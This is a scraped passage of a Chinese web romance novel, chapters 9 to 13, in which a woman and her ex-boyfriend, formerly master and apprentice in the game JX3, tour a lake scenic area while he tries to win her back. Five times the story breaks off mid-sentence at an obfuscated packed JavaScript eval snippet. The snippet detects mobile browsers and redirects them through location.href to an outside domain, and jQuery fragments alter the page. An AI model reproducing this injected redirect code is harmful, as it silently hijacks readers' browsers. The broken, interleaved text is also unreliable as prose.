说到自己最爱的门派体型,林清浅很是自豪,语气都变得不同:“那当然了,我们花姐是剑3里的瑰宝,一般人可拥有不了。” 李盛景趁机往自己脸上贴金:“那这么说,我不是一般人。”他说的是他曾经短暂拥有过林清浅这件事。 林清浅没想到他这么厚脸皮,瞪了他一眼。 被瞪得舒坦了的李盛景问:“师父,你知道紫藤花的话语吗?” 林清浅摇了摇头,双眼好奇地看着人,等着他科普。 李盛景与她对视一眼就立即移开了。 他最受不了林清浅这样看他,那目光专注,纯粹,像是给予了全部的信任和专注,自己说什么她都会信似的,让人总不忍骗她,欺她。 可骗她、欺她之人恰恰是她最信任的自己。 他忍着从心底涌上来的自责和后悔,努力回想曾偶然看过的内容:“紫藤花的花语有好几种,有深深地思念;执着的等待;还有迷恋的爱,跟你们万花很搭。” 林清浅听完后把头后起身:“走了,再坐下去得逛到晚上。” 李盛景赶紧跟上:“这里的夜景也很好看啊,你不会没看过吧?” 林清浅是看过的,就在愚人节那天。 想起当时灯火熠熠,赏樱的游人如织,她慢吞吞行走在夜晚的樱树下,像看了一场色彩缤纷的雪,由衷感叹:“确实好看。” “不同时节风景也有所不同,”李盛景提议:“我们要不看了夜景再走?” 林清浅转头看他,没说好,也没说不好,片刻后继续往前走。 到了某一处时,李盛景突然出声:“1号那天,我就是在这里,看见了赏樱楼下站着的你,可等我找过去,你已经不见了。” 林清浅通过好友后看过李盛景的朋友圈和空间,知道愚人节那天他也在。她说出了昨晚看到他动态后脑海里首先浮现的想法:“或许这是命运在告诉我们,我与你有缘,但却无份。” “命运都是靠人去争取的,缘份也是。”李盛景突然间有种面对工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958958|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时才有的执着。 林清浅侧头看他,却发现李盛景不知何时早将视线投注在了自己身上,目光相对的那一刻,她转头错开,隔着一段距离去看对面的赏樱楼。 此时4月已过了大半,时节上才过了谷雨,春之将尽,依然是一年之中最好的季节,枝丫上长出了新绿,新绿之下是淡粉色的,开得层层叠叠的重瓣晚樱;行人们衣着鲜艳,在新绿与淡粉之间来来往往,一派欣欣向荣的景象。 她没去反驳李盛景的话,只是模棱两可地应了一句:“或许吧。” 这符合她随和淡然的个性,却不符合她于感情一事上的坚韧勇敢。李盛景知道她为何改变的原因,可这个回答还是让他生出了一点沮丧。 他想:大概是之前太过于顺利地得到,以致于现在受一点打击就要承受不住。 可当初是我狠狠把人推开的,这些是我理应承受的。他很快振作起来,大步追上了林清浅。 中午的时候两人找了个地方吃饭,李盛景记得林清浅爱吃辣,可江浙一带的饭店,景区外头都难找,更别说里面。他把菜单反反复复看了几遍,最后只看到一道酸菜鱼,只得再点两道毫无辣味的时蔬,完后看着对面的林清浅说:“中午将就一下,晚上再带你去吃好吃的。” “我不挑食,不是非得吃辣。”林清浅温和地笑了下。 她这说的不是假话,两人还在一起时她就会陪着自己吃粤菜,更会为了照顾自己,做饭的时候不放辣椒或者放得很少。两人一起吃过很多次饭,他未曾见过有林清浅不吃的,只是喜欢的菜她会吃得多一些。 李盛景希望她吃得多一些,但这话他没说出口。 两人吃完后就去排队登岛。上下两层的游船,他们选了上面一层,湖面上风很大,将热意吹走后,留下的是一种非常舒服的凉爽感觉。 李盛景原本拿着手机在处理一些工作上的事情,半天过去,未读消息已经达到了上百条,林清浅很早之前就见识过他的忙碌,并没有来打扰他。 他非常地专注,只想着快速的处理完,因此并未去看林清浅,直到游船开动,他感觉到肩膀上一沉,侧头去看,短短的功夫,林清浅竟然睡着了。 不知是风吹得太舒爽,还是身边的气息太过熟悉,她因为睡着而侧倒过来的身体在找到可以枕靠的位置时,无意识地换了个舒服的姿势,还在李盛景的肩上蹭了蹭。 李盛景停止了回复消息,身体下意识地挺直了一些,希望林清浅能靠得更舒服一些,还伸出一只手扶着她,生怕游船晃动得厉害,把她给晃了下去。 看着依靠着自己而睡的人,他久久地没有任何动作,心里却油然而生一种满足感。 他想起了许许多多美好的从前,而过去越是美好,他心里的悔意就越沉重,因为他发现,像此刻这样能被林清浅依靠,是他从见到林清浅的那一刻就在追求的幸福。 他曾经拥有,却又亲手丢弃。 “浅浅,我能再次获得你的喜欢吗?”他轻声问。 10. 第 10 章 游船在码头停下来的时候,林清浅依然在睡。她似乎做了个美梦,嘴角上扬着,看得李盛景不忍心将她叫醒。 可人越来越少,渐渐地只剩下了他们两个人,他想着再拖一分钟,睡着的人却忽然醒了。 林清浅揉了揉眼睛后先看了四周一圈,起身问:“怎么不叫醒我?” 李盛景跟着起身,两人一同往下走,他说:“看你睡得很熟,舍不得。” 这话很寻常,林清浅却听得走了神,下楼梯时差点一脚踩空,还是李盛景眼疾手快拉住了她,嘱咐她小心点。 直到两人下了游船,李盛景才问:“刚刚在想什么?” 林清浅站在最后跟着上岛的人流移动,闻言看了他一眼,淡声说:“你以前也说过这样的话。” 在他们为数不多的见面里,这样的场景其实不少,在李盛景来找她后,要回去了早起赶飞机时;她去到李盛景的城市,李盛景早起去上班的时候;还有跨年夜的次日早上。 那些不经意间体现的脉脉温情,原以为寻常,等分开后才发现,原来是她一直在寻求的温柔和体贴。也是在失去后才察觉,有个人只用了短短三个月的时间,就将她的心占据得满满的,以致于分手后她难以抽身,至今仍受其影响,不然怎么一句寻常的话,就将她带回从前。 林清浅的话让李盛景愣了一下,他不是林清浅,情感没那么细腻,可也因这一句话想起了某几个美好的清晨,想起他纵使动作放得再轻,原本熟睡中的人也会醒过来,有一回还给他收拾行李,依依不舍地将他送到门口,那种不舍别离的情绪差点将他淹没,让他生出辞职的想法,只为了留在她的身边。 可他最终还是走了,与她分别了一次又一次,直到最后一次分别,他们差一点就永不再见。 还好我找到了她。这般想着的李盛景觉得心里轻松了一些,原本因为见面后屡屡被拒绝的低落情绪都消失了。 两人坠在上岛的人群最后面,前面行进的速度非常缓慢,栏杆将他们分成了三队,李盛景靠在栏杆上,侧头看着排在他前面的林清浅,湖面上吹来的风将她柔顺的长发吹乱,她却不在意,正拿着手机在回复消息。 等她停了下来,李盛景问:“你现在是跟着家里人在学着开网店吗?” 其实他在问出口的时候心中就已经有了答案。他们在一起的时候听林清浅说起过,她家里是做网店生意的,只不过线下有自己的工厂。 之前两人还在一起的时候,关于未来,林清浅的计划是等过了暑假就去他所在的城市谋生,可他们分了手,林清浅的未来规划里自然将他给踢了出去,那跟着家里自然就成了最好的选择。 果然,林清浅回复完店铺消息后点头,“嗯”了一声。 李盛景又问:“那生意怎么样?有接到单子了吗?需不需要我借钱给你?” 林清浅侧头看他,脸上的表情很平静,并不觉得他提到的借钱冒犯了自己。 事实上,她人虽比李盛景年长了几岁,可不知是时运不济,还是她固执地想要以自己的爱好为工作,起起伏伏多年,身心确实愉快放松,只是,工资解决了温饱后就所剩无几了,要是遇到孩子们容易生病感冒的冬季和有期末重要考试的时候,还得把之前好不容易攒下来的钱拿出来补帖。 物资与精神,很少有人能兼得,甚至很多人,连活着本身都是一件艰难的事情。林清浅不认为自己是个好运儿,所以辞职后的第一个月她就开了个网店,将好不容易存下来的那一点儿钱早在店铺刚开的第一个月就全投入了进去。 到如今,虽还有一点剩余,可要说,在现在这个无论多小众的行业都有人做且做的人还不少的情况下,本金越多底气就越足,在营销和推广方面也就不必畏手畏脚。 但她的回答却与心里所想的完全不一样高:“我才开始,哪有什么生意啊。不过,借钱就不需要了,谢谢你的好意。” 她不愿再与李盛景有所牵扯,更何况,她那点儿自尊或许不值钱,但在某些时候还是要拿出来撑一撑体面的。 李盛景并不知道某些人绕了几道弯的心思,他以为林清浅真的不需要,便不上赶着送。两人闲庭信步般走在岛上,走过桥廊时看见水边的沙滩上有孩童们脱了鞋在玩水,林清浅走了过去,然后就站着不动了。 “师父也想玩水吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958959|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”李盛景问。 林清浅轻轻摇头:“只是想到了星星,她很喜欢玩水。” 李盛景随口附和:“那应该带她来的。” 林清浅笑了笑,顺着人群走。 李盛景见她在每一处都并未做停留,而是一路往前,便知道这些寻常景色她看过一遍,已不能再引她驻足。他想了想,捡了几个网店相关的话题来,满意为这就是两人的共同话题了,可他发现林清浅似乎并未多开心。 他一拍脑袋,心想:开店显然不是浅浅喜欢做的事,她没兴趣多聊才是正常。 想到从前他们总有说不完的话,对彼此的生活兴趣浓厚,再对比此刻,不免心生悲郁。 “可能怪谁呢?”李盛景在心中说:“是我自己咎由自取。” 好在到了灵霄宫下,林清浅兴致显然高了不少。她说:“阿景你站那个牌匾下面去,让我给你拍个照。” 李盛景立刻站了过去,嘴上却要装委屈:“游戏和徒弟,师父果然更爱游戏。” 林清浅笑吟吟的,手里举着手机,镜头里几乎将整个灵霄宫都拍了进去,衬得塔下的李盛景十分渺小。她看着手机,点头边说边移动位置,调整个角度:“那当然啦,我玩了十多年的剑三,认识你才多久啊。”说着按下了拍摄。 李盛景说:“我要闹了,师父,我居然不如一个死物。” “怎么能说是死物呢。”林清浅反驳得很是随意,朝他招了招手:“拍好了,我觉得挺不错的,你看看呢?” 李盛景顿时忘了自己在跟个游戏争风吃醋,小跑着过来,看着耸立入云的高塔下,自己在灵霄宫的牌匾下显得渺小如尘,可因为是仰拍的角度,又无意中将他的身形拉长,好似他也犹如耸立的高塔一般顶天立地。 他突然想起跨年时的那个傍晚,因为时间估算错误,他们赶到海边的时候,太阳将大半边脸藏在了海平面下,但被夕阳染红了半边天的海平面依然美丽,色彩浓烈,好看得他双手插兜往海边随意一站,拍出来的照片都能当壁纸和头像。 李盛景当时,是真的以为那是随意拍出来的。 他想:我究竟错过了多少啊? 11. 第 11 章 “你怎么了?”李盛景看了照片以后就一直沉默着。林清浅本不在意,可上了返回的游船后,不仅依旧沉默着,眼看着连表情都开始不太对劲了,她便关心了一下。 李盛景像是才回过神一般,抬眼看了下林清浅,复又低垂眼帘,神情低落地说:“对不起,师父。” 林清浅有些懵:“怎么突然道歉起来了?” 李盛景说:“我只是突然意识到,我确实很幼稚,还特别自负。” 林清浅不置可否。 她想起曾经的大学室友们一致认为,她将来要是谈恋爱的话,肯定是姐弟恋。当时的她不以为然,到头来真的喜欢上一个年纪比较小的那一刻,她又觉得,有些事真的是早有预兆。 就像她在同李盛景恋爱的那段时间里,一味地包容,一味地付出,却不求回报,室友们大概早就看出她性格里的缺陷,因此早早下了结论。只是,这样的包容和付出在任何关系中都是不健康的,时间越久,被动接收的一方要么在时长日久里逐渐习惯,觉得她的付出理所应当;要么等到哪一天她停止付出了,或者想要求回报了,对方就要谴责她“你是不是不爱我了?”“你以前不是这样的。” 这与“斗米养恩,升米养仇”是一样的道理。 好在她没有等来李盛景的谴责两人就已经分手,此刻想来,也不知该算是她与李盛景的幸运,还是她命里注定有此遭遇。 她兀自笑了一声,惹来李盛景的好奇:“师父你是不是在笑我像个小孩?” “没有。”林清浅摇了摇头,看着宽阔的湖面说:“或许,分手对你我来说是件好事。” 李盛景不解,但不妨碍他反驳:“这绝不可能是好事,是坏事。” 不问缘由直接否定,这多少有一点孩子气的无理取闹,林清浅不同他争辩,毕竟同一件事,可以有不同的多个结果。 从见面后,李盛景难得等到林清浅有聊天的欲望,何况这突然而起的话题还没有结束,见她又沉默下去,赶紧反问:“为什么浅浅会觉得,我们分手是件好事?你后悔跟我谈恋爱了吗?” 林清浅侧头,果然在李盛景脸上看出了委屈。她温声说:“不是后悔,是在感情里,我们地位不对等。” 她怕李盛景误会,又补充说:“我没把你放在与我同等的位置。” “我知道,浅浅把我当弟弟,而不是当男朋友。”李盛景脸上的委屈更甚。 林清浅认可地点头:“所以,不对等的感情,若长久下去,最终会成怨偶的。” “可是我觉得不会。”李盛景像是忘了前面自己委屈于“弟弟”的身份:“我确实比浅浅小啊,恋爱经验也少得可怜,需要浅浅这样温柔的大姐姐多教教我。” 林清浅侧脸与他相对,目光却越过他看向游船外的春日长空,心想:要是我性格强势,能力出众,自己就能长成一颗能给人遮风避雨的大树,那我们之间或许还有可能,可我偏偏不是。 两人下了船,沿着湖边道路前行,到了灯塔处时正是落日时分。林清浅看着被暖橘色光芒照耀的宽阔湖面,粼粼湖面上点缀着几艘帆船,湖水与彩霞映红的天空想接,左右两边是连绵的远山,明明不是第一次看的景色,可依然觉得绝美,让人不由驻足流连。 李盛景站在她身边,与她并肩看这夕阳:“虽然季节不对,但这景色让我想到一句诗。” “落霞与孤鹜齐飞,秋水共长天一色。”林清浅接了他的话,伸手指了指湖面:“何止是季节不对,这湖面哪有孤鹜?那些船你又怎么能视而不见?” 李盛景乖巧地问:“那师父你来描述描述?” “我不会。”林清浅直接把这个话题掐死,拿出手机说:“你让让,我要拍灯塔。” 李盛景听话地往旁边走了两步。他也拿出了手机,拍那落日余晖;拍那波光粼粼的湖面与被夕阳染红的天空;拍眼前耸立的灯塔,以及灯塔下背对着他的人。 他刚按下拍摄按扭,还来不及看,听见林清浅喊他并捧着手机走了过来,脸上的笑容明明不深,却让人毫不怀疑她此刻的好心情。 这是要跟我拍照吗?李盛景不由地站直了身体,整理了下自己的衬衣,摆出一张笑脸,可他很快就发现自己是在自作多情,因为林清浅说:“阿景你看,我拍到了一张很好看的照片。” 李盛景心中失落,脸上却堆满了笑:“我看看,我看看。” 林清浅把手机伸过来。 不得不说,确实是一张很好看的照片,夕阳将天地都染成了金橘色,一湖春水被照得金光灿灿,湖边有一颗枝桠斜伸的老树。 但整张照片吸引住人的,不是这天地自然赠送的美景,而是左下角的老树下,背对着镜头相互偎依着一对情侣。 光线,构图,角度,这些自然比不上专业的摄影师甚至,连一些摄影爱好者都比不上,可这不妨碍它是一张好看的照片,好看得让人心生艳羡,让人无端想起那句“夕阳无限好,只是近黄昏”的诗。 黄昏将至,可相爱的人会携手归家。 李盛景想到了更多:“我记得,跨年那晚我曾答应过你,要陪你看一次落日。” 林清浅垂眸,将手机收回后说:“跨年当天的那个黄昏你陪我看过了。” “那怎么能算,那天我们到海边的时候夕阳都没了。”李盛景着急开口,立刻便意识到自己过于激动。他缓了两秒,解释说:“而且当时我们是在晚上说的,是新年计划。” “阿景,”林清浅忽然直视他的双眼:“我们分手了。” 分手了,那所谓的新年计划自然也就不算数了。 “可是我想跟你和好。”李盛景期盼地说:“浅浅,之前是我不够坚定,父母反对得稍微激烈一点,我就想着退缩,你骂我不勇敢,说我软弱都可以,但是你不要真的跟我分手可以吗?” 林清浅没说话,甚至连视线都移开了。 这就是拒绝了,李盛景知道。可他千里迢迢从禅城飞越上千里,不是为了要这样一个结果的。 他忽然想起自己谈下来的那些项目,最难的一个,磨了大半年,再加上前期的调查,通过其他人接近对方公司里能拍板的决策人,认识,交集,再拉近关系,趁着见面的时候提起公司的产品,那得有两年。 他想:我谈一个项目尚且能有这般耐心和布局,为何在感情上却这般着急忙慌呢? 李盛景退而求其次:“那师父能陪我看日落吗?我每天忙忙碌碌,已经很久没有过这样悠闲惬意的时光了。” 林清浅默然,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958960|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找了处石凳坐了下来。 两人并肩看夕阳缓缓坠入湖面下,在夜色来临之前返回了赏樱楼。 - 夜晚的赏樱楼前游人如织,还有人是特意来看夜景的。 李盛景未能如愿在景区内找到一家合林清浅口味的饭店。他对于自己不能践诺的行为感到沮丧。 林清浅倒是不在意,毕竟出门在外,哪能事事都如人意。何况,她是真的不挑食,甚至对吃的要求可以降到能填饱肚子就行。 “我跟你说过的,我很好养活的。”林清浅安慰他:“所以别垂头丧气的啦。” 他们彼时站在赏樱楼下,林清浅双手搭在栏杆上,目视着夜色下的游人。李盛景背依着栏杆,仰头看高大的赏樱楼。 他说:“可我不能因为你很好养活就随便应付,我想给你最好的。” 风中传来“叮铃叮铃”的脆响。林清浅听得有些认真,过了会儿才反应过来。她有些无奈地提醒:“阿景,你现在只有徒弟和前男友两个身份。” 已经决定好把林清浅当成一个艰难项目去攻克的李盛景不再被这话打击了。他看着被彩灯照耀得比平日里温柔了两分的林清浅,笑着像偷藏了糖果的小孩:“不是有话说嘛,一日为师,终身为父,我养师父不是天经地义吗?” 林清浅无奈:“你这是狡辩。”游戏里的师父哪能与传道授业甚至有养恩的师父相提并论? “有用就行。”李盛景有点小得意。 林清浅不同他辩,因为这种事即使辩赢了也没有任何意义,李盛景终归会回去,她也不可能跟李盛景走。 有铃声忽然响起,林清浅看了眼手机,是赵绵绵打来的视频电话。她按了接受,视频里出现一张幼萌的小脸,林希音问:“姑姑,你晚上回不回来呀?” 林清浅笑着回:“回来的。”说话的时候她看了眼右上角的时间。 林希音说:“那我今晚能跟你睡吗?” “当然可以啊。”林清浅笑着回答,这时候发现李盛景不知什么时候转过了身,正探头往镜头里凑。 她顿了下,听见李盛景问:“这是希希吗?” 林清浅“嗯”了一声,那边林希音问:“姑姑你旁边是谁呀?” “一位大哥哥。”她如此回答后觉得哪里不太对,想了一下,没想出来。 李盛景插问:“你是姑姑,我是哥哥,这不对吧师父?那我叫你什么?” 林清浅有点尴尬:“你都叫我师父了。” “行。”李盛景笑吟吟的转过脸跟视频里的林希音打招呼:“希希你好。” 林希音脆生生地回应:“大哥哥好,你是我姑父吗?” 孩童天真地发问把两人问得一个脸红,一个愣住,李盛景厚颜无耻地说:“我倒是很想做你姑父哦,就是你姑姑……”话没说完,是林清浅在他手臂上拍了一下,手动给打断了。 她小声说:“别乱说话。”语气里有威胁的意思。 林希音还在问“我姑姑怎么了?”边上又有人出声:“希希你在和谁说话?” 林希音扭头回答:“我和姑姑在说话,还有一个大哥哥。” “大哥哥?”赵绵绵疑惑地凑到手机前。 林清浅想阻止已经来不及了。 12. 第 12 章 林清浅看着赵绵绵出现在画面里,与李盛景隔着镜头相望。两人沉默对视一秒,然后赵绵绵开口:“姐姐,这不会就是你那个渣男前任吧?” 她一开口就言辞不善,显然是对李盛景没有半点好感。 正要打招呼的李盛景听得瞪大了眼睛,转头看了林清浅一眼,一脸“我委屈,但我不敢说”的表情。 林清浅答非所问:“他叫李盛景。” 赵绵绵从女儿手里拿过了手机,直接问:“你们不都分手了吗?不是说所有联系方式都没了?怎么又见上面了?不会还打算和好吧?” 林清浅不知道该如实回答还是避重就轻,李盛景先插了话:“是我想要和好,浅浅没有同意。” 这话听着像是在为林清浅辩解,赵绵绵不上当,扬声责问:“你想要和好?你不是都跟你那前女友复合了吗?怎么,这是既放不下前女友,又舍不得我姐姐,两个都想要是吗?你是不是还打算让我姐姐给你当见不得光的情人,就因为她好骗?” 李盛景着急解释:“不是,我没有跟前女友复合。” “那你们分手总是因为前女友吧?”赵绵绵一副寸步不让的架势:“你既然因为前任一条三个字的评论就被勾走了,干嘛还来招惹我姐?这要真跟我姐和好了,那以后她要是哭哭啼啼找你帮个忙,你岂不得当即就抛弃我姐,又是心肝又是宝贝地抱着你那前任哄?合格的男朋友就该让前任跟死了一样埋在墓地里,逢年过节上柱香都不行,所以你就是个渣男。” 她都不想搭理李盛景:“姐姐你别听他说几句好话,哄你几声就答应跟他和好。你早点回家,嘻嘻她说想你了,晚上要跟你睡。” 林清浅看着夜色都掩盖不住李盛景脸上的难堪,拿着手机转身,李盛景就从画面里消失了。 赵绵绵连林清浅也不放过:“不是跟我说你朋友找你玩儿?原来是前男友?” 林清浅小声说:“他是上飞机前说过来,我看到消息的时候飞机都快落地了,不好不管。” 赵绵绵“嗤”了一声:“不是说所有联系方式都拉黑了吗?怎么还能看到他的消息?” 林清浅不说话了。 赵绵绵也不是真的要“教训”姐姐,她软了语气问:“怎么说,你真要跟他和好?” “没有。”林清浅说:“以前存在的问题还是会继续存在。” 李盛景听到这一句竖起了耳朵,心想:我们以前有什么问题吗? “没有就好。”赵绵绵松一口气的样子:“你也知道你吸渣体质,他也已经证明是个渣男,你耳根子软,所以他说什么你都别信。” 林清浅张了张口,最终点头“嗯”了一声。 赵绵绵犹不放心,再叮嘱了几句,然后提醒早点回才挂了电话。 林清浅锁屏了手机,刚抬头就看到一张满是怨气的脸,她瞳孔微缩了下,脑袋下意识地后仰。 李盛景说:“师父,我不是渣男。” “嗯。”林清浅点头,但并不让人相信她心中认同。 “我当时真的就是太乱了,爸妈反对,养大我的外婆又突然住进了医院,加上本来就忙碌得抽不开身的工作,身心俱疲。”李盛景现在都不想去回想当时的场景。 那种突然意识到自己重担在身的感觉,让向来自负的他开始动摇,忽然就不确定自己能否给自己喜欢的人建立一个遮风挡雨的港湾,更不能确定自己能否承担起另一个人的人生。 林清浅似乎有了兴趣:“你外婆?” “嗯。”李盛景没详细说,老人家年纪大了,最怕的就是生病,送完人到机场就赶去了医院,所幸没大碍,是长辈们担心所以要求住院观察一晚,期间说到他的事,连向来通情达理的外婆也反对,舅舅们也极不赞同。 他哪里面对过被父母长辈们如此一致施压的局面,恰巧林清浅又打来电话询问他为什么把朋友圈删了,他就用了前任做借口,想着这样或许林清浅能接受一些,还有一个后来才明白过来的原因——不愿自己的亲人们在林清浅那里留下一个不讲情理的印象。 这原因当时藏着掖着,此时也没必要拿来和林清浅说。 林清浅问:“那没什么事吧?” “没事,第二天就出院了。”李盛景说:“浅浅,我真的不渣,我就是在感情一事上还不成熟,但我会慢慢成长的,你再给我一次机会好不好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958961|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林清浅没说好,也没说不好。她按亮了手机,看了下时间:“我们得出去了,晚点不好打车。”说着就往台阶 李盛景心里着急,但也知道继续追问的话,就有逼迫人的嫌疑了,这样或许会引起林清浅的反感。 他亦步亦趋地跟在后面,尤其林清浅目光扫过来时,还要耷拉着头,低垂眉目,嘴角下压着,看起来有那么几分可怜。 林清浅轻轻叹了口气。她知道李盛景这副样子是故意做出来给自己看的,可她就是没办法看着视而不见。 她咬了咬牙,轻声说:“阿景,我们真的不合适,所以要这个机会何用呢?” 李盛景抬头问:“怎么不合适?我们之前在一起的时候不是很合适吗?你还说我们是灵魂伴侣,没有比彼此更适合对方的人了,现在怎么就变成了不合适呢?” 这话她确实说过,她还记得李盛景也说过。可他们那时候刚在一起没多久,正是对彼此兴趣最浓的时候,恨不得时时刻刻绑在一起。 可偏偏他们异地而处,遥隔上千里,想见一面十分不容易,等好不容易见面了也只顾着诉说彼此的想念,畅聊他们的未来,以为这样的相处就是他们日后同屋而居的样子了。 可爱情里,不只有喜悦、欢愉,还有分歧、争吵、甚至大打出手。他们短短三个月聚少离多的时间还来不及遇到就突然分手,以致于李盛景认为,爱情就是他们以前相处时的那样了。 林清浅不是李盛景,她突然被分手,还是在对她的爱情最为憧憬的时。她跌得太狠,以至于清醒得也够快,所以她明白,爱情不等于婚姻,尤其是在得知李盛景与他分手的真正原因后,知道他们想要在一起,不是他们自己认可对方就行。 他们的背后还有两个家庭。 但她不想将这些告诉李盛景。她总归是真心喜欢过眼前这个人的,所以希望李盛景明白这些的时间能晚一些。 是以,对于李盛景的问题,她避而不答,只说:“你可以找一个比我更好的人。” 李盛景眼睛霎时红了,哽咽着说:“你对我来说就已经足够好,我为什么还要去找更好的人?” 林清浅哑然。 13. 第 13 章 直到坐上了车,林清浅都不明白,自己当时是怎么一时心软答应了李盛景,同意他送自己回家的。 或许是因为当时李盛景望着自己时那双泛红的眼;或许是因为那句“你对我来说就已经足够好”的话;亦或许是自己想要给他看一看并不体面的自己,让他知难而退。 李盛景不知她心中所想。他正对于自己能跟着林清浅回家而心中暗喜,觉得自己赢得了关键性的胜利,同时又暗自感慨:我的师父啊,果然容易心软。 他望着车窗外不断倒退的农田和远处亮着的点点灯光,好奇地问旁边上车后就沉默的林清浅:“这还是在水城吗?” 林清浅说:“算是吧,是水城下面的一个县级市。” 李盛景对她现在的生活很好奇:“你是什么时候辞职的?之前不是说等过了暑假吗?” 林清浅没打算隐瞒,如实说:“过完年没多久就提了辞职了,老板大概怕我带学生走,我当天提的辞职,第二天就让我走了。” 李盛景抓住一切机会拍马屁:“那只能说师父你教得太好,学生和家长都很喜欢你。” 林清浅笑,没有回应他这句话。 李盛景找到让她愿意好好聊的话题了,自然不会就此打住:“那你辞职后是立即就开网店了吗?” “差不多吧。”林清浅提前回答了他接下来要问的问题:“目前已经接了几个小单子,但想赚钱估计还远着。” “我就说我师父很厉害的。”李盛景很捧场:“我的一个朋友开网店,第三个月才接到单。” 林清浅没在这种夸赞里迷失自己:“可能是我们做的小众类目吧,虽然现在做的人越来越多了,但相比于服装鞋包之类的,竞争还是要小很多的,而且因为是定制品,有一定的技术门槛,相对来说也没那么容易入行。” “但开店才一个多月就接了几个单子,在我看来还是很厉害。”李盛景说。 林清浅不愿再谈论自己的事,转移话题说:“你什么时候回去?” 这话可就问得李盛景不开心了,他难过地说:“师父又在赶我走。” 林清浅不上当:“没有的事,工作才是你的大老婆不是吗?”话说出来的时候两人都愣了一下。 李盛景想起林清浅曾经抱怨他的忙碌,说工作是他的大老婆,车是他的二老婆,而自己不过是个小三,因为就算是两人难得见面的时候,李盛景也是电话不断,要不就走路吃饭都在回工作群里的消息,好像公司离了他就转不动似的,林清浅甚至还因此生过气。 那次是他们的第三次见面。前两次因为这种情况,导致来之前他们说好要一起去逛的景点一个都没能去成,李盛景好不容易挤出来的假期,周五晚上下了班赶飞机过来的时候已是深夜,周日又得回去,两天不到的相处时间里,不是林清浅陪着李盛景在酒店处理工作,就是吃饭的时候因为一个电话,李盛景就不得不找个地方坐下来跟客户对接临时派过来的任务,好似偌大一个公司离了他就不能转动似的,也难怪林清浅有时候要怀疑:你不会是骗了我吧,你真正的身份其实是你们公司的董事长? 是以,在第三次来之前,李盛景主动承诺:这一次我上飞机就断网,他们真有事会知道打电话找我的。结果见面的次日上午李盛景就开始接电话,一直打到中午,好不容易电话挂了,他拿出电脑处理工作到下午三点,是在林清浅饿得去点外卖他才反应过来,赶紧关了电脑说要陪他出去吃。 一向脾气好的林清浅难得有了脾气:“我算是明白了,工作才是你老婆。” 想起此事的李盛景有些尴尬:“工作是工作,工作哪有老婆体贴温柔,善解人意啊。” 一直默默开车的司机忍不住开腔:“小伙子说得对,工作哪有老婆重要,工作就是为了养老婆啊。” 林清浅认可这句话,但她不认可李盛景因为工作将所有时间和精力都投入其中的做法,因为工作是为了更好的生活,可若因为工作没了生活,那钱赚得再多也没用。 当然,她虽然不认可,但她还是很敬佩努力工作的人的,因为有些人天生热爱工作,而不热爱工作却努力工作的人,是觉得工作能体现他的价值,或者单纯是喜欢赚钱的那种感觉。 所以,她理解李盛景,纵然有过抱怨,但从未要求过他改变。 李盛景偷偷地瞄她,见她虽然不说话,但并没有不喜或生气,心里莫名松了口气,借着跟司机师傅聊天表明自己的心意:“对对对,人之所以要工作,就是为了赚钱养老婆。” 司机师傅不知他们的关系,看了眼后视镜里很少出声的林清浅,笑着说:“你们结婚多久了?” 这话问得两人一脸尴尬,李盛景不愿否认,林清浅说:“我们没结婚。” “哦~”司机师傅拖长了语调,热心地催促: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958962|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 